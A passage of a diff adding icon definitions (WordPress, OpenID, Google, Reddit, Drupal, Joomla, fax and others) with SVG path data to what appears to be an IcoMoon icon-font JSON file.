296.571 115.429h-5.714c-42.857 0-73.714 37.143-73.714 77.714 0 36 21.143 66.286 43.429 102.857 17.143 29.143 36 66.857 36 121.143zM519.429 550.286l135.429 369.714c0.571 2.286 1.714 4.571 2.857 6.286-45.714 16-94.286 25.143-145.714 25.143-42.857 0-84.571-6.286-124-18.286zM897.143 301.143c34.286 62.857 54.286 134.286 54.286 210.857 0 162.286-88 303.429-218.857 379.429l134.286-387.429c22.286-64 33.714-113.143 33.714-157.714 0-16-1.143-30.857-3.429-45.143zM512 0c282.286 0 512 229.714 512 512s-229.714 512-512 512-512-229.714-512-512 229.714-512 512-512zM512 1000.571c269.143 0 488.571-219.429 488.571-488.571s-219.429-488.571-488.571-488.571-488.571 219.429-488.571 488.571 219.429 488.571 488.571 488.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wordpress" + ], + "defaultCode": 61850, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "wordpress", + "id": 371, + "order": 1227, + "prevSize": 28, + "code": 61850 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 371 + }, + { + "icon": { + "paths": [ + "M620.571 0v877.714l-155.429 73.143c-262.857-23.429-465.143-163.429-465.143-333.143 0-163.429 188.571-299.429 438.286-329.714v98.286c-163.429 28.571-283.429 121.143-283.429 231.429 0 116.571 133.714 213.143 310.286 235.429v0-777.143zM1002.857 332.571l21.143 222.857-300-65.143 84-47.429c-44.571-26.286-99.429-45.714-160-56.571v-98.286c105.714 12.571 200.571 44.571 274.857 89.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "openid" + ], + "defaultCode": 61851, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "openid", + "id": 372, + "order": 1228, + "prevSize": 28, + "code": 61851 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 372 + }, + { + "icon": { + "paths": [ + "M548.571 0l548.571 219.429v73.143h-73.143c0 20-17.714 36.571-39.429 36.571h-872c-21.714 0-39.429-16.571-39.429-36.571h-73.143v-73.143zM146.286 365.714h146.286v438.857h73.143v-438.857h146.286v438.857h73.143v-438.857h146.286v438.857h73.143v-438.857h146.286v438.857h33.714c21.714 0 39.429 16.571 39.429 36.571v36.571h-950.857v-36.571c0-20 17.714-36.571 39.429-36.571h33.714v-438.857zM1057.714 914.286c21.714 0 39.429 16.571 39.429 36.571v73.143h-1097.143v-73.143c0-20 17.714-36.571 39.429-36.571h1018.286z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bank", + "institution", + "university" + ], + "defaultCode": 61852, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bank, institution, university", + "id": 373, + "order": 1229, + "prevSize": 28, + "code": 61852 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 373 + }, + { + "icon": { + "paths": [ + "M1013.714 477.714l10.286 180.571c4.571 80.571-164 146.286-365.714 146.286s-370.286-65.714-365.714-146.286l10.286-180.571 328 103.429c9.143 2.857 18.286 4 27.429 4s18.286-1.143 27.429-4zM1316.571 292.571c0 8-5.143 14.857-12.571 17.714l-640 201.143c-2.286 0.571-4 0.571-5.714 0.571s-3.429 0-5.714-0.571l-372.571-117.714c-32.571 25.714-55.429 88.571-60 165.714 21.714 12.571 36 35.429 36 62.286 0 25.714-13.143 48-33.143 61.143l33.143 247.429c0.571 5.143-1.143 10.286-4.571 14.286s-8.571 6.286-13.714 6.286h-109.714c-5.143 0-10.286-2.286-13.714-6.286s-5.143-9.143-4.571-14.286l33.143-247.429c-20-13.143-33.143-35.429-33.143-61.143 0-27.429 15.429-50.857 37.143-63.429 3.429-66.857 20.571-138.857 56-188.571l-190.286-59.429c-7.429-2.857-12.571-9.714-12.571-17.714s5.143-14.857 12.571-17.714l640-201.143c2.286-0.571 4-0.571 5.714-0.571s3.429 0 5.714 0.571l640 201.143c7.429 2.857 12.571 9.714 12.571 17.714z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "graduation-cap", + "mortar-board" + ], + "defaultCode": 61853, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "graduation-cap, mortar-board", + "id": 374, + "order": 1230, + "prevSize": 28, + "code": 61853 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 374 + }, + { + "icon": { + "paths": [ + "M490.857 546.857l7.429 404c-19.429-3.429-39.429-6.286-60-6.286-20 0-40 2.857-60 6.286l7.429-404c-106.286-183.429-206.286-370.286-323.429-546.857 20 5.143 40.571 8.571 61.714 8.571s42.857-4 63.429-8.571c80 141.714 166.857 279.429 250.857 418.857 84.571-138.286 174.286-276 250.857-418.857 20 5.143 40.571 8 61.143 8 21.714 0 44-2.857 65.143-8v0 0c-45.714 62.857-83.429 131.429-122.857 198.286-68 116-134.857 232-201.714 348.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "yahoo" + ], + "defaultCode": 61854, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "yahoo", + "id": 375, + "order": 1231, + "prevSize": 28, + "code": 61854 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 375 + }, + { + "icon": { + "paths": [ + "M438.857 449.143h414.286c4 22.286 6.857 44 6.857 73.143 0 250.286-168 428.571-421.143 428.571-242.857 0-438.857-196-438.857-438.857s196-438.857 438.857-438.857c118.286 0 217.714 43.429 294.286 114.857l-119.429 114.857c-32.571-31.429-89.714-68-174.857-68-149.714 0-272 124-272 277.143s122.286 277.143 272 277.143c173.714 0 238.857-124.571 249.143-189.143h-249.143v-150.857z" + ], + "width": 860.0137142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "google" + ], + "defaultCode": 61856, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "google", + "id": 376, + "order": 1232, + "prevSize": 28, + "code": 61856 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 376 + }, + { + "icon": { + "paths": [ + "M625.714 666.857c5.143 5.143 5.143 13.143 0 17.714-32.571 32.571-95.429 35.429-113.714 35.429s-81.143-2.857-113.714-35.429c-5.143-4.571-5.143-12.571 0-17.714 4.571-4.571 12.571-4.571 17.143 0 20.571 21.143 65.143 28 96.571 28s75.429-6.857 96.571-28c4.571-4.571 12.571-4.571 17.143 0zM450.286 563.429c0 28-22.857 50.857-50.857 50.857-28.571 0-51.429-22.857-51.429-50.857 0-28.571 22.857-51.429 51.429-51.429 28 0 50.857 22.857 50.857 51.429zM676 563.429c0 28-22.857 50.857-51.429 50.857-28 0-50.857-22.857-50.857-50.857 0-28.571 22.857-51.429 50.857-51.429 28.571 0 51.429 22.857 51.429 51.429zM819.429 494.857c0-37.714-30.857-68-68.571-68-19.429 0-36.571 8-49.143 20.571-46.286-32-108.571-52.571-177.714-54.857l36-161.714 114.286 25.714c0 28 22.857 50.857 50.857 50.857 28.571 0 51.429-23.429 51.429-51.429s-22.857-51.429-51.429-51.429c-20 0-37.143 12-45.714 28.571l-126.286-28c-6.286-1.714-12.571 2.857-14.286 9.143l-39.429 178.286c-68.571 2.857-130.286 23.429-176.571 55.429-12.571-13.143-30.286-21.143-49.714-21.143-37.714 0-68.571 30.286-68.571 68 0 27.429 16 50.286 38.857 61.714-2.286 10.286-3.429 21.143-3.429 32 0 108.571 122.286 196.571 272.571 196.571 150.857 0 273.143-88 273.143-196.571 0-10.857-1.143-22.286-4-32.571 22.286-11.429 37.714-34.286 37.714-61.143zM1024 512c0 282.857-229.143 512-512 512s-512-229.143-512-512 229.143-512 512-512 512 229.143 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "reddit" + ], + "defaultCode": 61857, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "reddit", + "id": 377, + "order": 1233, + "prevSize": 28, + "code": 61857 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 377 + }, + { + "icon": { + "paths": [ + "M536.571 645.143c4 4 4 10.857 0 14.857-28 28-81.714 30.286-97.714 30.286s-69.714-2.286-97.714-30.286c-4-4-4-10.857 0-14.857 4-4.571 10.857-4.571 14.857 0 17.714 17.714 56 24 82.857 24s65.143-6.286 82.857-24c4-4.571 10.857-4.571 14.857 0zM386.286 556c0 24-20 44-44 44s-44-20-44-44c0-24.571 20-44 44-44s44 19.429 44 44zM579.429 556c0 24-20 44-44 44s-44-20-44-44c0-24.571 20-44 44-44s44 19.429 44 44zM702.286 497.143c0-32-26.286-58.286-58.857-58.286-16 0-30.857 6.857-41.714 17.714-40-27.429-93.714-45.143-152.571-46.857l30.857-138.857 97.714 22.286c0.571 24 20 43.429 44 43.429s44-20 44-44-20-44-44-44c-17.143 0-32 9.714-39.429 24.571l-108-24c-5.714-1.714-10.857 2.286-12 7.429l-34.286 153.143c-58.857 2.286-112 20-151.429 47.429-10.857-11.429-25.714-18.286-42.286-18.286-32.571 0-58.857 26.286-58.857 58.286 0 23.429 13.714 43.429 33.143 53.143-1.714 8.571-2.857 18.286-2.857 27.429 0 93.143 104.571 168.571 233.714 168.571s234.286-75.429 234.286-168.571c0-9.714-1.143-18.857-3.429-28 18.857-9.714 32-29.714 32-52.571zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "reddit-square" + ], + "defaultCode": 61858, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "reddit-square", + "id": 378, + "order": 1234, + "prevSize": 28, + "code": 61858 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 378 + }, + { + "icon": { + "paths": [ + "M494.857 479.429l51.429-15.429v-35.429c0-60.571-51.429-109.143-112-109.143s-112 48-112 108.571v161.714c0 14.857-12 26.857-26.857 26.857s-26.286-12-26.286-26.857v-68.571h-86.286v69.714c0 62.286 50.286 112 112.571 112 61.143 0 112-49.143 112-110.286v-160c0-14.857 12-26.857 26.857-26.857 14.286 0 26.286 12 26.286 26.857v30.857zM685.143 590.857v-69.714h-85.714v72c0 14.857-12 26.857-26.857 26.857-14.286 0-26.286-12-26.286-26.857v-70.286l-51.429 14.857-34.286-16v70.286c0 61.143 50.857 110.857 112.571 110.857s112-49.714 112-112zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stumbleupon-circle" + ], + "defaultCode": 61859, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "stumbleupon-circle", + "id": 379, + "order": 1235, + "prevSize": 28, + "code": 61859 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 379 + }, + { + "icon": { + "paths": [ + "M606.857 406.857v-67.429c0-32-26.286-58.286-58.286-58.286s-58.286 26.286-58.286 58.286v349.714c0 133.714-110.857 241.714-245.143 241.714-135.429 0-245.143-109.714-245.143-245.143v-152h187.429v149.714c0 32.571 26.286 58.286 58.286 58.286s58.286-25.714 58.286-58.286v-354.286c0-130.857 112-236 244.571-236 133.143 0 244.571 105.714 244.571 237.714v77.714l-111.429 33.143zM909.714 533.714h187.429v152c0 135.429-109.714 245.143-245.143 245.143-134.857 0-245.143-108.571-245.143-242.857v-153.143l74.857 34.857 111.429-33.143v154.286c0 32 26.286 57.714 58.286 57.714s58.286-25.714 58.286-57.714v-157.143z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stumbleupon" + ], + "defaultCode": 61860, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "stumbleupon", + "id": 380, + "order": 1236, + "prevSize": 28, + "code": 61860 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 380 + }, + { + "icon": { + "paths": [ + "M841.143 786.286v-274.286h-402.286v-402.286h-274.286c-70.857 0-128 57.143-128 128v274.286h402.286v402.286h274.286c70.857 0 128-57.143 128-128zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "delicious" + ], + "defaultCode": 61861, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "delicious", + "id": 381, + "order": 1237, + "prevSize": 28, + "code": 61861 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 381 + }, + { + "icon": { + "paths": [ + "M187.429 161.143h116.571v561.714h-304v-398.286h187.429v-163.429zM187.429 629.143v-210.857h-70.286v210.857h70.286zM350.857 324.571v398.286h117.143v-398.286h-117.143zM350.857 161.143v116.571h117.143v-116.571h-117.143zM514.857 324.571h304.571v538.286h-304.571v-93.143h187.429v-46.857h-187.429v-398.286zM702.286 629.143v-210.857h-70.286v210.857h70.286zM866.286 324.571h304v538.286h-304v-93.143h186.857v-46.857h-186.857v-398.286zM1053.143 629.143v-210.857h-70.286v210.857h70.286z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "digg" + ], + "defaultCode": 61862, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "digg", + "id": 382, + "order": 1238, + "prevSize": 28, + "code": 61862 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 382 + }, + { + "icon": { + "paths": [ + "M597.714 582.857c0 48.571-33.143 88-73.714 88-16.571 0-29.714-2.857-40-8.571v-158.286c10.286-6.286 23.429-9.714 40-9.714 40.571 0 73.714 39.429 73.714 88.571zM401.714 338.286c0 49.143-33.143 88.571-73.714 88.571-16.571 0-29.714-2.857-40-8.571v-158.286c10.286-6.286 23.429-9.714 40-9.714 40.571 0 73.714 39.429 73.714 88zM722.857 584.571c0-102.286-77.143-185.143-172-185.143-7.429 0-14.857 0.571-22.286 1.714-8.571 29.143-23.429 55.429-44.571 77.714-32 34.857-74.857 55.429-120.571 57.714v363.429l120.571-23.429v-117.714c20 7.429 42.286 10.857 66.857 10.857 94.857 0 172-82.857 172-185.143zM526.857 340.571c0-102.286-77.143-185.143-172.571-185.143-28 0-56 7.429-80.571 20.571h-106.286v480l120.571-23.429v-117.714c20 6.857 42.286 10.857 66.286 10.857 95.429 0 172.571-82.857 172.571-185.143zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pied-piper-pp" + ], + "defaultCode": 61863, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pied-piper-pp", + "id": 383, + "order": 1239, + "prevSize": 28, + "code": 61863 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 383 + }, + { + "icon": { + "paths": [ + "M698.286 530.857c148.571-5.714 230.857 116.571 298.286 229.714 40 68 86.857 108 144.571 158.857-61.714 38.286-140 64-206.286 93.714-109.714-92-45.714-457.143-221.714-457.143l-5.714 1.143-3.429 2.286c2.286 2.857 5.143 5.714 7.429 8 47.429 40 66.286 48.571 69.143 116.571l0.571 18.857c1.714 42.857-10.857 84.571-19.429 126.286-38.286-1.143-75.429 11.429-113.714 11.429-14.286 0-28-1.714-41.143-5.714-1.143-9.143-1.143-18.286-1.143-26.857 0-17.714-0.571-37.714 1.714-54.857 2.857-18.857 66.857-59.429 65.714-86.857-10.857-1.143-18.286 5.143-24.571 13.714-26.286 38.857-93.714 83.429-141.714 83.429-33.143 0-112-142.286-152-170.857-6.286-4.571-10.286-10.857-15.429-17.143-32 7.429-277.143 64-293.143 64-12 0-22.857-9.714-22.857-21.714 0-10.857 6.857-21.143 17.714-23.429l277.714-60.571c-18.857-34.286 24.571-34.857 42.857-40 6.286-1.714 12.571-8 18.857-8 12.571 0 23.429 17.714 27.429 28 12.571-2.857 90.857-21.143 98.286-21.143 12.571 0 24 9.143 24 22.286 0 10.857-6.857 20.571-18.286 22.857l-104 22.857-0.571 9.143c-0.571 20 90.286 119.429 106.286 119.429 36 0 109.143-82.857 109.143-119.429 0-61.143-85.143-25.143-85.143-66.857 0-6.857 2.286-13.143 5.714-19.429l-38.857-10.857c17.714-18.286 24.571-41.714 24.571-66.857 0-10.857-1.143-22.286-2.857-33.143 29.143-5.714 53.143-9.143 82.286-9.143 113.143 0 90.857 17.143 130.286 108l28.571-14.286c-4.571 68-72 34.857-69.714 61.714zM732.571 396.571c-22.286-25.714-32-38.286-45.143-44-13.714-6.286-31.429-4.571-72.571-4.571-42.857 0-85.143 6.286-124 24.571 12.571-23.429 26.286-33.714 51.429-43.429 54.286-20.571 80-60.571 117.143-101.714 19.429 13.714 28 48 56 46.286l6.857-0.571v43.429l12.571 0.571c74.286-28.571 148.571-60 212-108.571 96-73.143 105.143-99.429 161.714-198.857l4-5.143c-1.143 28-12.571 54.286-24.571 79.429-60.571 126.857-156.571 199.429-292 232-24.571 5.714-52.571 6.286-74.857 17.714 2.857 19.429 26.286 36 26.286 45.714 0 6.857-10.857 14.286-14.857 17.143zM606.286 922.857c31.429-20.571 121.143-39.429 158.857-39.429 18.857 0 56 89.714 65.714 109.714-44.571 16.571-91.429 25.714-139.429 25.714-24 0-48-2.286-71.429-6.286zM469.714 553.143l27.429-6.857 62.286 101.143-41.714 27.429zM756 848.571c0.571 2.857 1.714 6.286 1.714 9.143 0 14.857-98.286 25.143-116 28l-4-24.571c35.429-4 74.857-13.143 110.286-12.571h8zM494.857 489.714l-54.857 11.429-3.429-9.714c13.143-1.143 25.143-7.429 38.286-7.429 7.429 0 13.714 1.714 20 5.714zM606.286 852h17.714l5.714 47.429-23.429 6.857v-54.286zM1114.286 0.571v0 0zM1114.286 0.571l-0.571 2.857-1.143 1.143 0.571-1.714zM1114.286 0.571l0.571-0.571z" + ], + "width": 1164.5805714285714, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pied-piper-alt" + ], + "defaultCode": 61864, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pied-piper-alt", + "id": 384, + "order": 1240, + "prevSize": 28, + "code": 61864 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 384 + }, + { + "icon": { + "paths": [ + "M666.857 906.286c-1.143-4-4.571-9.714-13.714-2.857-19.429 14.286-62.857 32-124.571 32s-90.857-13.143-110.286-28c-2.857-2.286-1.714-2.286-7.429-2.286-6.286 0-9.714 2.857-14.857 6.857-4.571 4-6.857 13.714 0 20.571 42.286 38.857 113.143 35.429 165.143 30.857 52.571-5.143 97.143-36 101.714-40.571 6.857-6.857 5.143-12.571 4-16.571zM644.571 840.571c-4-9.714-10.857-26.857-22.286-34.857-11.429-7.429-28-8.571-43.429-8.571s-24-1.143-40.571 5.714-33.714 22.286-44.571 32-12.571 17.143-6.857 25.143c5.714 7.429 12 2.857 28-10.857 16.571-13.143 27.429-25.143 61.143-25.143s39.429 12.571 46.286 25.143 7.429 14.286 14.286 10.857c8-4 12-9.714 8-19.429zM847.429 680c0-29.714-13.143-80-61.714-80-45.714 0-138.286 94.857-186.857 95.429-56.571 1.143-134.857-112-248-110.857-89.143 0.571-159.429 71.429-160.571 146.857-0.571 42.286 13.143 73.714 42.286 93.714 19.429 13.143 37.143 21.143 94.857 21.143 96 0 217.714-118.857 273.714-117.143 44.571 1.714 113.714 110.857 148.571 113.143 27.429 2.286 41.714-10.286 65.143-44 22.857-34.286 32.571-88 32.571-118.286zM877.714 588.571c0 256-202.286 425.143-434.857 425.143-233.143 0-442.857-183.429-442.857-433.143 0-249.143 194.286-364.571 230.286-383.429 42.857-22.857 73.714-34.857 122.286-73.714 24-18.857 44-46.286 50.286-113.143 34.857 41.714 76.571 90.286 106.286 110.286 48.571 32 97.143 44.571 148 76.571 30.857 18.857 220.571 134.857 220.571 391.429z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "drupal" + ], + "defaultCode": 61865, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "drupal", + "id": 385, + "order": 1241, + "prevSize": 28, + "code": 61865 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 385 + }, + { + "icon": { + "paths": [ + "M611.429 613.143l-91.429 91.429-86.286 86.857-17.143 17.143c-50.286 49.714-120.571 66.857-184.571 50.857-12 52.571-58.857 91.429-114.857 91.429-64.571 0-117.143-52.571-117.143-117.714 0-55.429 38.286-102.286 90.286-114.286-16.571-64.571 0.571-135.429 50.857-185.714l6.857-6.857 86.286 86.857-6.286 6.286c-28.571 28-28 73.714 0 102.286 28 28 73.714 28 101.714 0l17.143-17.143 86.286-86.857 92-91.429zM416.571 223.429l6.857 6.857-86.857 86.857-6.857-6.857c-28-28-73.714-28-101.714 0s-28 74.286 0 102.286l194.857 194.857-86.286 86.857-92-91.429-86.286-86.857-17.143-17.143c-52.571-52-68.571-126.857-48.571-193.714-52.571-11.429-91.429-58.286-91.429-114.286 0-65.143 52.571-117.714 117.143-117.714 58.857 0 106.857 42.857 116 98.286 63.429-14.857 132.571 2.857 182.286 52zM877.714 833.143c0 65.143-52.571 117.714-117.143 117.714-57.143 0-104.571-40.571-115.429-94.286v0c-66.286 20.571-142.286 4.571-194.857-48l-6.286-6.857 86.286-86.857 6.857 6.857c28 28 73.714 28 101.714 0s28-73.714 0-101.714l-195.429-195.429 86.857-86.857 178.286 178.286 16.571 17.143c49.714 49.714 67.429 120 51.429 184 57.143 8 101.143 56.571 101.143 116zM876.571 190.857c0 59.429-44.571 108.571-101.714 116.571 18.857 65.714 2.286 139.429-49.714 191.429l-6.857 6.857-86.286-86.857 6.857-6.857c28-28 28-73.714 0-101.714s-73.714-28-101.714 0l-195.429 195.429-86.857-86.857 92-91.429 86.857-86.857 16.571-17.143c52-52 126.286-68.571 192.571-49.143 8-57.143 57.143-101.143 116.571-101.143 64.571 0 117.143 52.571 117.143 117.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "joomla" + ], + "defaultCode": 61866, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "joomla", + "id": 386, + "order": 1242, + "prevSize": 28, + "code": 61866 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 386 + }, + { + "icon": { + "paths": [ + "M373.714 616c-1.143 4-29.143-9.143-36.571-12-7.429-3.429-41.143-22.286-49.714-28s-41.143-32.571-45.143-34.286v0c-20.571 31.429-46.857 68.571-76.571 103.429-10.286 12-41.143 50.857-60 62.857-2.857 1.714-19.429 3.429-21.714 2.286 9.143-6.857 35.429-39.429 46.857-52.571 14.286-16.571 82.286-111.429 93.714-133.143 12-21.714 48-93.714 49.714-100.571-5.714-0.571-50.857 14.857-62.857 18.857-11.429 3.429-42.857 10.857-45.143 12.571-2.286 2.286-0.571 9.143-1.714 11.429s-11.429 7.429-17.714 8.571c-5.714 1.714-18.857 2.286-26.857 0-7.429-1.714-14.286-9.143-16-12 0 0-2.286-3.429-2.857-13.143 6.857-2.286 18.286-2.857 30.857-6.286s43.429-12.571 60-18.286 48.571-17.714 58.286-20c10.286-1.714 36-18.857 49.714-23.429s23.429-10.286 24-7.429 0 15.429-0.571 18.857c-0.571 2.857-28 56.571-32 65.143-2.286 4.571-18.286 34.857-44 74.857 9.143 4 28.571 12 36.571 16 9.714 4.571 77.714 33.143 81.143 34.286s9.714 27.429 8.571 32zM256.571 338.286c1.714 9.714-1.143 13.714-2.286 16-5.714 10.857-20 18.286-28.571 21.714s-22.857 6.857-34.286 6.857c-5.143-0.571-15.429-2.286-28-14.857-6.857-7.429-12-27.429-9.714-25.143s18.857 4.571 26.286 2.857 25.143-6.857 33.143-9.143c8.571-2.857 25.714-7.429 31.429-8 5.714 0 10.286 2.286 12 9.714zM655.429 412l36 129.714-79.429-24zM22.286 869.143l396.571-132.571v-589.714l-396.571 133.143v589.143zM731.429 688l58.286 17.714-103.429-375.429-57.143-17.714-123.429 306.286 58.286 17.714 25.714-62.857 120.571 37.143zM444 138.286l327.429 105.143v-217.143zM621.714 894.286l90.286 7.429-30.857 91.429-22.857-37.714c-46.286 29.714-103.429 52.571-157.714 61.714-16.571 3.429-35.429 6.857-52 6.857h-48c-60.571 0-170.857-36-218.857-70.857-3.429-2.857-4.571-5.143-4.571-9.143 0-6.286 4.571-10.857 10.286-10.857 5.143 0 32 16.571 39.429 20 51.429 25.714 123.429 49.143 181.143 49.143 71.429 0 120-9.143 185.143-37.143 18.857-8.571 35.429-19.429 53.143-29.143zM877.714 277.714v616.571c-441.714-140.571-442.286-140.571-442.286-140.571-9.143 4-418.857 142.286-424.571 142.286-4.571 0-8.571-2.857-10.286-7.429 0-0.571-0.571-1.143-0.571-1.714v-616c0.571-1.714 1.143-4.571 2.286-5.714 3.429-4 8-5.143 11.429-6.286 1.714-0.571 36.571-12 85.143-28.571v-219.429l318.857 113.143c4-1.143 359.429-124 364.571-124 6.286 0 11.429 4.571 11.429 12v238.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "language" + ], + "defaultCode": 61867, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "language", + "id": 387, + "order": 1243, + "prevSize": 28, + "code": 61867 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 387 + }, + { + "icon": { + "paths": [ + "M164.571 219.429c50.286 0 91.429 41.143 91.429 91.429v621.714c0 50.286-41.143 91.429-91.429 91.429h-73.143c-50.286 0-91.429-41.143-91.429-91.429v-621.714c0-50.286 41.143-91.429 91.429-91.429h73.143zM950.857 312.571c43.429 25.143 73.143 72.571 73.143 126.286v438.857c0 80.571-65.714 146.286-146.286 146.286h-493.714c-50.286 0-91.429-41.143-91.429-91.429v-877.714c0-30.286 24.571-54.857 54.857-54.857h384c30.286 0 72.571 17.714 93.714 38.857l86.857 86.857c21.143 21.143 38.857 63.429 38.857 93.714v93.143zM530.286 877.714v-73.143c0-10.286-8-18.286-18.286-18.286h-73.143c-10.286 0-18.286 8-18.286 18.286v73.143c0 10.286 8 18.286 18.286 18.286h73.143c10.286 0 18.286-8 18.286-18.286zM530.286 731.429v-73.143c0-10.286-8-18.286-18.286-18.286h-73.143c-10.286 0-18.286 8-18.286 18.286v73.143c0 10.286 8 18.286 18.286 18.286h73.143c10.286 0 18.286-8 18.286-18.286zM530.286 585.143v-73.143c0-10.286-8-18.286-18.286-18.286h-73.143c-10.286 0-18.286 8-18.286 18.286v73.143c0 10.286 8 18.286 18.286 18.286h73.143c10.286 0 18.286-8 18.286-18.286zM676.571 877.714v-73.143c0-10.286-8-18.286-18.286-18.286h-73.143c-10.286 0-18.286 8-18.286 18.286v73.143c0 10.286 8 18.286 18.286 18.286h73.143c10.286 0 18.286-8 18.286-18.286zM676.571 731.429v-73.143c0-10.286-8-18.286-18.286-18.286h-73.143c-10.286 0-18.286 8-18.286 18.286v73.143c0 10.286 8 18.286 18.286 18.286h73.143c10.286 0 18.286-8 18.286-18.286zM676.571 585.143v-73.143c0-10.286-8-18.286-18.286-18.286h-73.143c-10.286 0-18.286 8-18.286 18.286v73.143c0 10.286 8 18.286 18.286 18.286h73.143c10.286 0 18.286-8 18.286-18.286zM822.857 877.714v-73.143c0-10.286-8-18.286-18.286-18.286h-73.143c-10.286 0-18.286 8-18.286 18.286v73.143c0 10.286 8 18.286 18.286 18.286h73.143c10.286 0 18.286-8 18.286-18.286zM822.857 731.429v-73.143c0-10.286-8-18.286-18.286-18.286h-73.143c-10.286 0-18.286 8-18.286 18.286v73.143c0 10.286 8 18.286 18.286 18.286h73.143c10.286 0 18.286-8 18.286-18.286zM822.857 585.143v-73.143c0-10.286-8-18.286-18.286-18.286h-73.143c-10.286 0-18.286 8-18.286 18.286v73.143c0 10.286 8 18.286 18.286 18.286h73.143c10.286 0 18.286-8 18.286-18.286zM877.714 365.714v-146.286h-91.429c-30.286 0-54.857-24.571-54.857-54.857v-91.429h-365.714v292.571h512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fax" + ], + "defaultCode": 61868, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "fax", + "id": 388, + "order": 1244, + "prevSize": 28, + "code": 61868 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 388 + }, + { + "icon": { + "paths": [ + "M768 0c20 0 36.571 16.571 36.571 36.571v950.857c0 20-16.571 36.571-36.571 36.571h-731.429c-20 0-36.571-16.571-36.571-36.571v-950.857c0-20 16.571-36.571 36.571-36.571h731.429zM292.571 164.571v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286zM292.571 310.857v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286zM292.571 457.143v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 